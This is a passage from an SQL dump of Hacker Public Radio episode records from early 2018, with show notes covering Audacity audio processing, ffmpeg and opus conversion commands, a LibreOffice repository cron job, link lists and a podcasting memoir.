\"Compressor\" effect with the following settings:</P>\r\n <ul>\r\n  <li>Threshold: -30db</li>\r\n  <li>Noise Floor: -50db</li>\r\n  <li>Ratio: 3:1</li>\r\n  <li>Attack Time: 0.2sec</li>\r\n  <li>Decay Time: 1.0 sec</li>\r\n  <li>\"Make-up Gain for 0db after compressing\" and \"compress based on peaks\" were both left un-checked.</li>\r\n </ul>\r\n<p>After compressing the audio we cut any pre-show and post-show chatter from     the file and save them in a separate file for possible use as  outtakes  after the closing music.</p>\r\n<p>At this point we listen back to the whole file and we work on the shownotes. This is when we can cut out anything that needs to be cut, and we can also make sure that we put any links in the shownotes that were talked about during the recording of the show. We finish the shownotes before exporting the .aup file to .FLAC so that we can paste a copy of the shownotes into the audio file\'s metadata. We use the \"Truncate Silence\" effect with its default settings to minimize the silence between people speaking. When used with its default (or at least reasonable) settings, Truncate Silence is extremely effective and satisfying. It makes everyone sound smarter, it makes the file shorter without destroying actual content, and it makes a conversations sound as easy and fluid during playback as it was while it was recorded. It can be even more effective if you can train yourself to remain silent instead of saying \"uuuuummmm.\" Just remember to ONLY pass the file through Truncate Silence ONCE. If you pass it through a second time, or if you set it too aggressively your audio may sound sped up and choppy.</p>\r\n<p>At this point we add new, empty audio tracks into which we paste the intro, outro and possibly outtakes, and we rename each track accordingly.</p>\r\n<p>We adjust the Gain so that the VU meter in Audacity hovers around -12db while people are speaking, and we try to keep the peaks under -6db, and we adjust the Gain on each of the new tracks so that all volumes are similar, and more importantly comfortable. Once this is done we can \"Mix and Render\" all of our tracks into a single track for export to the .FLAC file which is uploaded to the HPR FTP server.</p>\r\n<p>Remember to save often when using Audacity. We like to save after each of these steps. Audacity has a reputation for being \"crashy\" but if you remember save after every major transform, you will wonder how it ever got that reputation.</p>\r\n',157,53,1,'CC-BY-SA','Audiobooks, City of Masks, Mike Reeves-McMillan',0,0,1),
(2482,'2018-02-06','lca2018: Katie McLaughlin',1368,'An interview with Katie McLaughlin at linux.conf.au 2018','<p>Clinton interviews Katie McLaughlin at linux.conf.au 2018 on her role with the conference as community liaison and as the lead organiser of PyCon Australia.</p>\r\n<p><small><small><em>Editor\'s Note: Corrected audio now available</em></small></small></p>\r\n',315,0,1,'CC-BY-SA','lca2018',0,0,1),
(2485,'2018-02-09','The Alien Brothers Podcast - S01E05 - I Saw the Invisible Man',4629,'Casper and Rutiger discuss the now-old-by-internet-standards news of New York Times piece about real','<p>Recorded December 23 2017</p>\r\n<p>All links are external.</p>\r\n<p><a href=\"https://www.goldminemag.com/articles/engineer-andy-johns-discusses-the-making-of-the-rolling-stones-exile-on-main-street\"><u>Real mobile recording platform</u></a>(recording <em>Exile on Main Street)</em></p>\r\n<p><a href=\"https://www.youtube.com/watch?v=NqUrl2N4GE4\"><u>&ldquo;</u><u>Let Me Drown&rdquo; by Soundgarden</u></a></p>\r\n<p><a href=\"https://www.accuradio.com/\"><u>T-Mobile AccuRadio Online</u></a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Slint\"><u>Slint</u></a>(band)</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Sonic_Youth\"><u>Sonic Youth</u></a>(band)</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Thurston_Moore\"><u>Thurston Moore&rsquo;s other bands</u></a></p>\r\n<p>&ldquo;<a href=\"https://www.nytimes.com/2017/12/16/us/politics/pentagon-program-ufo-harry-reid.html\"><u>Glowing Aura&rsquo;s and Black Money&rdquo; (the New York Times)</u></a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Robert_Bigelow\"><u>Robert Bigelow</u></a>(wikipedia)</p>\r\n<p><a href=\"https://consequenceofsound.net/2017/10/tom-delonges-new-ufo-academy-is-crowdfunding-a-spaceship/\"><u>Tom DeLonge&rsquo;s UFO Academy</u></a>(consequence of sound)</p>\r\n<p><a href=\"https://www.youtube.com/watch?v=-h8zs898lr4\"><u>Big Audio Dynamite &ldquo;Rush&rdquo;</u></a>(YouTube)</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Mick_Jones_(The_Clash_guitarist)\"><u>Mick Jones</u></a>(wikipedia)</p>\r\n<p><a href=\"https://www.amazon.com/Bass-Guitar-Tuning-Keys/b?ie=UTF8&amp;node=11968171\"><u>Buy tuning machines!</u></a>(amazon)</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Ministry_(band)\"><u>Ministry (band) </u></a>(wikipedia)</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Elf_on_the_Shelf\"><u>The truth behind the Elf on the Shelf</u></a>(wikipedia)</p>\r\n<p><a href=\"https://twitter.com/LeeCamp?ref_src=twsrc%5Egoogle%7Ctwcamp%5Eserp%7Ctwgr%5Eauthor\"><u>Redacted </u></a>(twitter)</p>\r\n<p><a href=\"https://www.nationalreview.com/article/314025/how-did-harry-reid-get-rich-betsy-woodruff\"><u>How Did Harry Reid Get Rich?</u></a>(national review)</p>\r\n<p><a href=\"https://www.youtube.com/watch?v=ky_mhbKIe3M\"><u>Mr Show - &ldquo;Praying Machines&rdquo;</u></a>(youtube)</p>\r\n<p><a href=\"https://www.youtube.com/watch?v=KZkxR7x6qiM\"><u>The Firm (film)</u></a>(youtube)</p>\r\n<p><a href=\"https://www.loomisbros.com/lint-collectors.html\"><u>Link collector</u></a>(Loomis Bros)</p>\r\n<p><a href=\"https://knowyourmeme.com/memes/miracles-fucking-magnets-how-do-they-work\"><u>Magnets and how they work</u></a>(know your meme)</p>\r\n<p><a href=\"https://www.youtube.com/watch?v=SJcshY5ywro\"><u>Mechanical Man</u></a>(Devo) (youtube)</p>\r\n<p><a href=\"https://www.hometips.com/repair-fix/dryer-open.html\"><u>How to take apart a dryer</u></a>(hometips.com)</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Electrical_injury\"><u>Electrocution</u></a>(wikipedia)</p>\r\n<p><a href=\"https://www.characterweb.com/maytag.html\"><u>Maytag Repair Man</u></a>(Characterweb)</p>\r\n<p><a href=\"https://www.sweetwater.com/c929--Extra_Heavy_1_5mm_Guitar_Picks\"><u>Extra heavy guitar picks</u></a>(sweetwater sound)</p>\r\n<p><a href=\"https://www.zzounds.com/item--BEHMS8000?siid=196478&amp;-qDTBRD-ARIsAJ_10yKMqEyjWNkpIcfI37J1TzCewBIzORjqfoTduPwPE9NrnIbJXuI-vpMaAuXCEALw_wcB=\"><u>Headphone splitter</u></a>(zsounds)</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Man_in_the_Moon\"><u>The man in the moon</u></a>(wikipedia)</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Buddhism\"><u>Buddhism</u></a></p>\r\n',359,0,1,'CC-BY-SA','parties,fun,x-files,aliens,harry reid,martial law, star chamber,greetings,belated',0,0,1),
(2486,'2018-02-12','Some stuff I bought at a recent amateur radio rally',968,'In this episode I talk about some stuff I bought at a recent amateur radio rally.','<p>Links to the stuff I bought at a recent amateur radio rally I attended.</p>\r\n<ul>\r\n<li><p>Kindle 4<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Amazon_Kindle#Kindle_4\" class=\"uri\">https://en.wikipedia.org/wiki/Amazon_Kindle#Kindle_4</a></p></li>\r\n<li><p>Powerex Maha WizardOne MH-C9000 Battery Charger<br />\r\n<a href=\"https://www.amazon.co.uk/WizardOne-MH-C9000-Analyser-Rechargeable-Batteries/dp/B00E8F7T1G/ref=sr_1_1?ie=UTF8&amp;qid=1503175924&amp;sr=8-1&amp;keywords=mh-c9000\" class=\"uri\">https://www.amazon.co.uk/WizardOne-MH-C9000-Analyser-Rechargeable-Batteries/dp/B00E8F7T1G/ref=sr_1_1?ie=UTF8&amp;qid=1503175924&amp;sr=8-1&amp;keywords=mh-c9000</a></p></li>\r\n<li><p>Frequency Counter, Watson FC-130 Example<br />\r\n<a href=\"https://www.amazon.co.uk/WATSON-FC-130-FREQUENCY-COUNTER/dp/B00877AZY4\" class=\"uri\">https://www.amazon.co.uk/WATSON-FC-130-FREQUENCY-COUNTER/dp/B00877AZY4</a></p></li>\r\n<li><p>Frequency Counter, Watson FC-130 (User Manual)<br />\r\n<a href=\"https://my.rs-online.com/webdocs/002d/0900766b8002d721.pdf\" class=\"uri\">https://my.rs-online.com/webdocs/002d/0900766b8002d721.pdf</a></p></li>\r\n<li><p>Roll Example unfortunately with no egg inside<br />\r\n<img src=\"https://i39.tinypic.com/sdfhv4.jpg\" alt=\"https://i39.tinypic.com/sdfhv4.jpg\" /></p></li>\r\n<li><p>Cake Example<br />\r\n<a href=\"https://www.bbc.co.uk/food/recipes/millionaires_shortbread_76712\" class=\"uri\">https://www.bbc.co.uk/food/recipes/millionaires_shortbread_76712</a></p></li>\r\n<li><p>Drink Example<br />\r\n<img src=\"https://eliquidleicester.co.uk/wp-content/uploads/2013/07/IRON-BREW2-300x300.jpg\" alt=\"https://eliquidleicester.co.uk/wp-content/uploads/2013/07/IRON-BREW2-300x300.jpg\" /></p></li>\r\n</ul>\r\n',201,43,1,'CC-BY-SA','Amateur Radio, Ham Radio',0,0,1),
(2484,'2018-02-08','The Big Idea',1164,'A breezy look at what a \"big idea\" means in storytelling.','<p>\r\nLostnbronx looks at the concept of the \"big idea\" in storytelling and various genres, arguing that such a creative tool may not actually be all that necessary to tell a compelling tale.\r\n</p>',107,105,0,'CC-BY-SA','writing,storytelling,lostnbronx, science fiction,fantasy,history,historical romance, story structure',0,0,1),
(2487,'2018-02-13','Simple LibreOffice Repo for Fedora',185,'Simple LibreOffice Repo for Fedora','<p>Simple LibreOffice Repo for Fedora</p>\r\n\r\n<p>My setup: You can look at the real setup. Hosted at home on a DLS connection so real usage is discouraged. https://home.toebesacademy.com/libreoffice/</p>\r\n\r\n<p>Actual Script <a href=\"https://home.toebesacademy.com/libreoffice/LOrepo\">https://home.toebesacademy.com/libreoffice/LOrepo</a></p>\r\n\r\n<p>Repo file to put in /etc/yum.repo.d <a href=\"https://home.toebesacademy.com/libreoffice/home.toebesacademy.com.repo\">https://home.toebesacademy.com/libreoffice/home.toebesacademy.com.repo</a></p>\r\n\r\n<p>Cron Entry.  Should be run as web user, not root.</p>\r\n<pre>\r\n# m h d m w\r\n# * * * * * command to be executed\r\n# - - - - -\r\n# | | | | |\r\n# | | | | +----- day of week (0 - 6) (Sunday=0)\r\n# | | | +------- month (1 - 12)\r\n# | | +--------- day of month (1 - 31)\r\n# | +----------- hour (0 - 23)\r\n# +------------- min (0 - 59)\r\n# m     h    dom mon dow command\r\n0       3    *   *   *    /var/www/html/libreoffice/LOrepo\r\n</pre>\r\n',273,0,0,'CC-BY-SA','LibreOffice,Fedora,repository',0,0,1),
(2488,'2018-02-14','Psychology of Love',792,'A look at some of the neuroscience and psychology behind love','<ul>\r\n<li><p>Love and the Brain:<br />\r\n<a href=\"https://neuro.hms.harvard.edu/harvard-mahoney-neuroscience-institute/brain-newsletter/and-brain-series/love-and-brain\" class=\"uri\">https://neuro.hms.harvard.edu/harvard-mahoney-neuroscience-institute/brain-newsletter/and-brain-series/love-and-brain</a></p></li>\r\n<li><p>The Neuroscience of Love:<br />\r\n<a href=\"https://sites.tufts.edu/emotiononthebrain/2014/12/08/the-neuroscience-of-love/\" class=\"uri\">https://sites.tufts.edu/emotiononthebrain/2014/12/08/the-neuroscience-of-love/</a></p></li>\r\n<li><p>On selfless love:<br />\r\n<a href=\"https://news.yale.edu/2014/02/11/meditation-helps-pinpoint-neurological-differences-between-two-types-love\" class=\"uri\">https://news.yale.edu/2014/02/11/meditation-helps-pinpoint-neurological-differences-between-two-types-love</a></p></li>\r\n<li><p>The Five Love Languages<br />\r\n<a href=\"https://en.wikipedia.org/wiki/The_Five_Love_Languages\" class=\"uri\">https://en.wikipedia.org/wiki/The_Five_Love_Languages</a></p></li>\r\n<li><p>\'Askers\' vs. \'Guessers\'<br />\r\n<a href=\"https://www.theatlantic.com/national/archive/2010/05/askers-vs-guessers/340891/\" class=\"uri\">https://www.theatlantic.com/national/archive/2010/05/askers-vs-guessers/340891/</a></p></li>\r\n</ul>\r\n',361,0,1,'CC-BY-SA','psychology, relationships, neuroscience, love',0,0,1),
(2489,'2018-02-15','CONTEXT IS EVERYTHING',1634,'Lostnbronx creates a tiny video, from a large audio file.','<h2 id=\"context-is-everything\">CONTEXT IS EVERYTHING</h2>\r\n<h4 id=\"hosted-by-lostnbronx\">hosted by Lostnbronx</h4>\r\n<p>Turning a large audio file into a tiny video file for a very specific use case.</p>\r\n<p>This solution probably won\'t work for you, because none of the ones I found on the Internet worked for me. Trial and error led me here, and it\'s probably the only guide you\'ll have as well.</p>\r\n<p>Start with as high a quality audio file as you can manage. .wav is good, but it\'s big. Let\'s convert it to .flac. If you already have a .flac file, skip this part.</p>\r\n<p>1.) Convert .wav to .flac.</p>\r\n<pre><code>sox INPUT.wav OUTPUT.flac</code></pre>\r\n<p>2.) Convert the .flac to a very small mono .opus. Bitrate can be even smaller. I went down to 14.</p>\r\n<pre><code>opusenc --bitrate 18 --downmix-mono INPUT.flac OUTPUT.opus</code></pre>\r\n<p>3.) Combine the .opus file with a single static image, and output to a .webm video. This should not be very much bigger in file size than the .opus and .jpg combined. The smaller the image file, the better. (I tried using a .gif, but it was actually bigger than the .jpg I ended up with.)</p>\r\n<pre><code>ffmpeg -i INPUT.opus -r 1 -loop 1 -i INPUT.jpg -c:v libvpx -tune stillimage -shortest -y -c:a copy OUTPUT.webm</code></pre>\r\n<p>The final file. It doesn\'t sound great, but it\'s listenable, which is all that was desired.</p>\r\n<p><a href=\"https://social.nasqueron.org/media/pEXqQotxC5P4GNJpf9U\" class=\"uri\">https://social.nasqueron.org/media/pEXqQotxC5P4GNJpf9U</a></p>\r\n<p>Here\'s a better quality version of the audiobook.</p>\r\n<p><a href=\"https://downloads.cavalcadeaudio.com/stardrifter-novels/01-motherload/?p=home\" class=\"uri\">https://downloads.cavalcadeaudio.com/stardrifter-novels/01-motherload/?p=home</a></p>\r\n<p>The process and final result can be improved upon by people smarter than I, without doubt, but this works for now.</p>\r\n<p>SPECIAL THANKS to the Urandom guys (X1101, Thaj, and Pokey), Monsterjavaguns (Jason van Gumster), and the ever-fabulous Klaatu, for their suggestions and encouragement. I would not have found a solution to this, nor even thought to do an episode of HPR, without them!</p>\r\n<p><small><small>Editor\'s Note 2018-02-15: The wrong audio was accidentally released with this show. It has been corrected and should be re-uploaded by your podcatcher.</small></small></p>\r\n',107,0,1,'CC-BY-SA','opus,opusenc,ffmpeg,avconv,webm,lostnbronx',1,0,1),
(2493,'2018-02-21','YouTube Subscriptions - update',885,'Some of the YouTube channels I have subscribed to in the last year','<h1 id=\"youtube-subscriptions---update\">YouTube Subscriptions - update</h1>\r\n<h2 id=\"introduction\">Introduction</h2>\r\n<p>I reported on some of my YouTube subscriptions in show <a href=\"https://hackerpublicradio.org/eps.php?id=2202\" title=\"Makers on YouTube\">2202</a>, where I concentrated on the various <em>Maker</em> channels I subscribe to.</p>\r\n<p>Since then I have added a few more such channels, but this time I also want to talk about some of the others I subscribe to.</p>\r\n<h2 id=\"youtube-channels\">YouTube Channels</h2>\r\n<ol type=\"1\">\r\n<li><a href=\"https://www.youtube.com/channel/UCCkFJmUgzrZdkeHl_qPItsA\"><em>Anne of All Trades</em></a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UCtM5z2gkrGRuWd0JQMx76qA\"><em>bigclivedotcom</em></a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UC9-y-6csu5WGm29I7JiwpnA\"><em>Computerphile</em></a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UCcapFP3gxL1aJiC8RdwxqRA\"><em>David Waelder</em></a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UCUuMYw2l2UeWyTGYixYfRCA\"><em>EvanAndKatelyn</em></a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UCbiGcwDWZjz05njNPrJU7jA\"><em>ExplainingComputers</em></a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UC6pdMJwtkbCNoQRwbaNt77A\"><em>HomeMadeModern</em></a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UCO39zTYpvWL5jx2q15Ma_Hw\"><em>izzy swan</em></a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UCaI4Tib6te88f_P9r8w5Tmw\"><em>Jackman Works</em></a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UCRVruzlQF5cqpw9jQgIgNdw\"><em>mugumogu</em></a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UCNyGbxoEo6CQvaRVEvItxkA\"><em>Pask Makes</em></a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UCIhkgdWrCmPTCRSNQaeTDOg\"><em>Phil Pinsky Productions</em></a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UC8NjHgDV5nHEfQGj7JNfp9Q\"><em>RetroWeld</em></a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UCb8Rde3uRL1ohROUVg46h1A\"><em>Thomas Sanladerer</em></a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UC3CvHbiVAaYiMY2DMd1fcEQ\"><em>tim sway</em></a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UCzM1HPpclXyriKNAvr5m5qA\"><em>Unemployed Redneck Hillbilly Creations</em></a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UCG756ycwVyBKwttHLtF_OVQ\"><em>William Lutes</em></a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UCcXhhVwCT6_WqjkEniejRJQ\"><em>Wintergatan</em></a></li>\r\n</ol>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>I have another version of the above channel list in the <a href=\"https://hackerpublicradio.org/eps/hpr2493/full_shownotes.html\">long notes</a> with more details and with some of my observations.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>HPR show 2202: <a href=\"https://hackerpublicradio.org/eps.php?id=2202\"><em>Makers on YouTube</em></a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2493/full_shownotes.html\">Long notes for this episode</a></li>\r\n</ul>',225,0,1,'CC-BY-SA','YouTube,channel',0,0,1),
(2491,'2018-02-19','Some news with Finux',1061,'Just a short little podcast on some recent(ish) security related news stories','<p>The 3 stories covered in this episode</p>\r\n<ul>\r\n<li><p>So firstly Clownflares... i mean cloudstrike!!! and scihub<br />\r\n<a href=\"https://torrentfreak.com/cloudflare-terminates-service-to-sci-hub-domain-names-180205/\" class=\"uri\">https://torrentfreak.com/cloudflare-terminates-service-to-sci-hub-domain-names-180205/</a></p></li>\r\n<li><p>Meltdown and Spectre 139 pieces of (seemingly nonfunctional) malware are now circulating in the wild<br />\r\n<a href=\"https://boingboing.net/2018/02/04/active-probing.html\" class=\"uri\">https://boingboing.net/2018/02/04/active-probing.html</a></p></li>\r\n<li><p>Equifax and no bloody justice<br />\r\n<a href=\"https://mobile.reuters.com/article/amp/idUSKBN1FP0IZ\" class=\"uri\">https://mobile.reuters.com/article/amp/idUSKBN1FP0IZ</a></p></li>\r\n</ul>\r\n',85,0,1,'CC-BY-SA','security, hacking, news',0,0,1),
(2492,'2018-02-20','An Evening Subway Ride',1945,'An evening subway ride on the Toronto subway from College Station to Sheppard/Yonge Station','<p>\r\nAn experiment in background noise.\r\n</p>\r\n<p>\r\nHaving seen so many people fall asleep on subway trains, I wonder if the sound only would also be somniferous.\r\n</p>\r\n<p>\r\nUsing my cellphone I recorded the ride (including boarding and alighting) on the Toronto subway (line 1) from College Station, north to Sheppard/Yonge Station.  There was always at least one person sleeping (or at least appearing to be asleep) during the ride.\r\n</p>\r\n<p>\r\nGoogle Maps - <a href=\"https://goo.gl/aq97jR\">goo.gl/aq97jR</a>\r\n</p>\r\n<p>\r\nSo far, listening to the recording has not put me to sleep. \r\n</p>\r\n',362,101,0,'CC-0','sound, Toronto, transit, subway, crowds, train',0,0,1),
(2495,'2018-02-23','10 Years of Xoke',723,'Tomorrow marks 10 years since his first episode, and Xoke talks a bit about HPR','<p>HPR 40, on the 24th Feb 2008, was when a (slightly) younger Xoke debuted</p>',79,0,0,'CC-BY-SA','Anniversary',0,0,1),
(2494,'2018-02-22','linux.conf.au 2018: Nicolas Steenhout',1205,'Clinton interviews Nicolas Steenhout, who ran an accessibility workshop','<p>\r\nClinton interviews Nicolas Steenhout about his accessibility workshop, covering the different areas that automated and manual testing can cover. We also talk about the conference in general, and on the different ways that conference get feedback about their speakers.\r\n</p>',315,78,0,'CC-BY-SA','lca2018',0,0,1),
(2496,'2018-02-26','Making a Raspberry Pi inventory',670,'How to collect identifying information about RPi devices','<h1 id=\"making-a-raspberry-pi-inventory\">Making a Raspberry Pi inventory</h1>\r\n<h2 id=\"introduction\">Introduction</h2>\r\n<p>I have a number of Raspberry Pis -- possibly too many -- and I sometimes lose track of which is which, what model, size, name, address each one is. I wanted to be able to keep an inventory of them all, and to this end I wrote myself a little script that can be run on any Pi which will report useful information about it.</p>\r\n<p>Every Pi has a unique serial number. Actually it\'s randomly generated so there may be a few collisions but it\'s close to unique! It also contains a revision number which encodes various items of information about it such as release date, model, PCB revision and memory. My script decodes this revision number for you based on a published table.</p>\r\n<p>I run a Wikimedia instance on a Pi and have used this script to record details of my Pis there as well as what they are being used for and any planned projects. I now feel more organised!</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>The full-length notes (available <a href=\"https://hackerpublicradio.org/eps/hpr2496/full_shownotes.html\">here</a>) contain a listing of the script, a brief description of it, and some example output.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>GitLab repository: <a href=\"https://gitlab.com/davmo/what_pi\" class=\"uri\">https://gitlab.com/davmo/what_pi</a></li>\r\n<li>Resources to download:\r\n<ul>\r\n<li>The script <em><a href=\"https://hackerpublicradio.org/eps/hpr2496/what_pi\">what_pi</a></em></li>\r\n<li>Example output <em><a href=\"https://hackerpublicradio.org/eps/hpr2496/example_output.txt\">example_output.txt</a></em></li>\r\n</ul></li>\r\n</ul>',225,42,1,'CC-BY-SA','Raspberry Pi, RPi',0,0,1),
(2503,'2018-03-07','My journey into podcasting',868,'Dave takes us on his journey into 10 years of podcasting','<h1 id=\"how-i-got-into-podcasting\">How I Got Into Podcasting</h1>\r\n<h2 id=\"the-background\">The Background</h2>\r\n<p>Audio production has always been an interest of mine: my late grandfather was an audiophile, my dad ran an AV studio in Woking (the one where the Spice Girls were formed - my dad got mentioned in a couple of their autobiographies) and now runs his own AV consultancy business, and my cousin also runs an AV consultancy... so there’s a definite family history in there.</p>\r\n<p>I dabbled briefly with hospital radio (as a technician, rather than a presenter) in the late 80’s, and I was a technician and presenter on College Radio in the early 90’s where I hosted a show called “The Barry Manilow Fan Club” on Friday lunchtimes.</p>\r\n<p>Yes, I am a huge fan of <a href=\"https://en.wikipedia.org/wiki/Barry_Manilow\">Barry Manilow</a> - he’s given me a lot of inspiration as a musician - no, I didn’t play any Barry on the College Radio show.</p>\r\n<p>I’d also had a few people say that I had a good radio voice. Others say a good radio face, but I don’t like them anymore.</p>\r\n<h2 id=\"the-catalyst\">The Catalyst</h2>\r\n<p>In 2007, I discovered this podcasting lark through a couple of friends who had their own podcasts. One was The Random Three: a personal musical journey where Mark - the host - would play three seemingly-random pieces of music from his own collection (thus, not <a href=\"https://en.wikipedia.org/wiki/Podsafe\">podsafe</a>) and explain the reasons why he chose them. Most of the time, these seemingly-random tracks actually had a theme, but it didn’t necessarily become apparent until after the second track. It was a great show - now sadly defunct - and I really miss it. I even submitted my own music choices for Mark to present.</p>\r\n<p>The other was <a href=\"https://ddlpodcast.blogspot.co.uk/\">Dumbed Down Life</a>: three chaps nattering about “stuff” and playing some music along with it. Another great show, which - although it still exists - currently releases episodes every year or so.</p>\r\n<p>What drew me to these shows - apart from being friends, was the fact that these were regular guys, not professionals.</p>\r\n<p>That led me to think “I can do that”, so I set about proving - to myself, mostly - that I could.</p>\r\n<h2 id=\"the-start\">The Start</h2>\r\n<p>One Thursday in early March 2008, when the wife had gone to the gym for a couple of hours, I grabbed my Logitech headset, my Linux laptop, a handful of tracks from the Podsafe Music Network, and a piece of software called <a href=\"https://idjc.sourceforge.net\">IDJC</a>, and recorded the <a href=\"https://thebugcast.org/show/1\">first ever episode</a> of <a href=\"https://thebugcast.org/\">The Bugcast</a>. It was just over 22 minutes long, and it was dire. Utterly dire. Every so often, I go back to it and listen and cringe and marvel at how much better the show is now!</p>\r\n<p>The music back then wasn’t strictly <a href=\"https://en.wikipedia.org/wiki/Podsafe\">podsafe</a> either: the first track I played was Moloko’s Sing It Back… but I didn’t worry about it then, as I got the track from a source that gave implicit permission for use in podcasts.</p>\r\n<p>I did do a show - <a href=\"https://thebugcast.org/show/20\">episode 20</a> - which was a nostalgic trip back to my college years, where I played tracks by Chad Jackson, Japan, and Dream Warriors. This was a complete and intentional violation of copyright on my part, which led me to pull the show only a few weeks later. I did rerelease the show two years after that, but with the offending tracks removed. However, there is a story to the show, so I would recommend you go listen.</p>\r\n<p>Back then, it was just me and a small listener-base of friends, their family, their families’ servants; their families’ servants’ tennis partners, and some chap I bumped into in the mess the other day called Bernard. But as time went on and I got more experience, I was really enjoying what I was doing, and started to experiment.</p>\r\n<p>One thing I did discover by about episode 16 is that I wasn’t editing my shows in post, aside from topping and tailing silence. This made it so much easier for me as I was recording the shows as-live from the very beginning, but taking out the vocal gaps, gaffes and the like. So there was really only one place to go from there...</p>\r\n<h2 id=\"going-live\">Going live</h2>\r\n<p>So in August 2008, on <a href=\"https://thebugcast.org/show/24\">episode 24</a>, to an audience of about 10 people, I streamed the first LIVE episode of the podcast. Wow, that was such a buzz! It was a major turning point in the show as I committed myself to do a regular show at a set time each week... turning a fun hobby into something a little step beyond amateur. There were a couple of non-live shows that I had to put together using the wife’s Windows machine when my laptop went bang and had to be repaired, but I hated doing that because I didn’t like the piecemeal sticky-tape method of production. There was little flow, and my spoken links between the music sounded very much like a bad Radio 4 anchor.</p>\r\n<p>In late September 2008, I was accepted as a member of the now-defunct <a href=\"https://musicpodcasting.org/\">Association of Music Podcasting</a>. This was another major step for me. All member of the Association were peer-reviewed as part of the criteria for membership. This meant that my podcast was sufficiently good to be accepted. That meant so much to me, and made me take things so much more seriously (and was the main reason why I pulled episode 20 just prior)</p>\r\n<p>It also meant that the show was becoming more music-oriented - something I really did not have a problem with! Particularly as I was starting to strike up good relationships with some of the artists that I was featuring on the show. This led to me prerecording an interview with one of the bands in January 2009, and then again with another artist in March.</p>\r\n<p>Having registered a proper domain for the podcast (rather than piggybacking my own personal domain) and then celebrated the first anniversary of the show... you could say that the show was fuelling its own progression. And I was enjoying that journey immensely!</p>\r\n<p>Over the next 6 months, I joined the <a href=\"https://madeintheukshow.co.uk/\">Made In The UK Show</a> collective, interviewed an artist LIVE on the show, had the show syndicated on an internet radio station in the UK, and launched a new, independent chatroom for the website.</p>\r\n<h2 id=\"the-major-change\">The Major Change</h2>\r\n<p>And then, in September of 2009, the 18 month anniversary of the show, and two days before my birthday, something happened to totally turn the show upside down.</p>\r\n<p>I decided that I wanted to improve the show. Bearing in mind that I was still using my Logitech headset, my Linux laptop, and a piece of software called IDJC to record and stream the show, I felt it was time for a change. So I spent a small fortune on a mixer, microphones, stands, audio interface, and cables.</p>\r\n<p>Yes, microphones. Plural.</p>\r\n<p>Up to this point my wife, Caroline, had progressed from occasional listener, to regular distraction (I don’t think details are appropriate!), to researcher. So I asked her a question... if I bought two microphones, would you join the show as a permanent co-host? She said yes.</p>\r\n<p>That really changed things. The dynamic of me talking to an imaginary audience (bar the activity in the live chatroom) changing to me bouncing off someone in the same room was electric! The show was totally transformed by that fairly simple change. Our listener figures jumped up, the music on the show was more varied, existing listeners enjoyed the show more... it was amazing.</p>\r\n<p>There have been occasions where Caroline hasn’t been able to join the show (illness, kids, etc) and the listeners (and I) have really noticed her absence.</p>\r\n<h2 id=\"since-then\">Since Then</h2>\r\n<ul>\r\n<li>we’ve launched an OGG feed, which comprises approximately 20% of the downloads from the site</li>\r\n<li>at one point we were syndicated on 4 internet radio stations around the world</li>\r\n<li>we’re major contributors to cchits.net</li>\r\n<li>in 2013 we were awarded the <a href=\"https://thebugcast.org/2013/03/25/european-podcast-award-2012-uk-personality/\">European Podcast Award for UK Personality</a></li>\r\n<li>we’ve just celebrated 10 years of podcasting, producing over 500 regular episodes</li>\r\n</ul>\r\n<p>So there’s a potted history of how I got into podcasting.</p>\r\n<h2 id=\"beyond-the-bugcast\">Beyond The Bugcast</h2>\r\n<p>Outside the realms of The Bugcast, which is still my primary podcast:</p>\r\n<ul>\r\n<li>I’m a contributor to <a href=\"https://ccjam.otherside.network/\">CCJam</a> - a short-form community podcast which focuses on music</li>\r\n<li>I’m one of the co-hosts of <a href=\"https://tuxjam.otherside.network/\">TuxJam</a> - Linux news with Creative Commons music</li>\r\n<li>I’m one of the co-hosts of the <a href=\"https://duffercast.org/\">Duffercast</a></li>\r\n<li>I’m an irregular contributor to HPR, as you’ll probably already know</li>\r\n<li>I’m just become the producer of the <a href=\"https://www.adminadminpodcast.co.uk/\">Admin Admin podcast</a> - my first producer-only gig</li>\r\n</ul>\r\n<p>Also ran:</p>\r\n<ul>\r\n<li>I’m the “owner” (if you like) of the <a href=\"https://madeintheukshow.co.uk/\">Made In The UK Show</a> - currently on haitus</li>\r\n<li>I’m one of the co-hosts of <a href=\"https://crivins.otherside.network/\">Crivins</a> - currently on haitus</li>\r\n</ul>\r\n<p>I’m always happy to answer any questions or provide help with regard to podcasting, you can find various ways to find me over at my <a href=\"https://thelovebug.org/contact\">Contact page</a></p>\r\n<p>Thanks for listening! :-)</p>\r\n',314,0,0,'CC-BY-SA','podcasting, anniversary, history, journey',0,0,1),
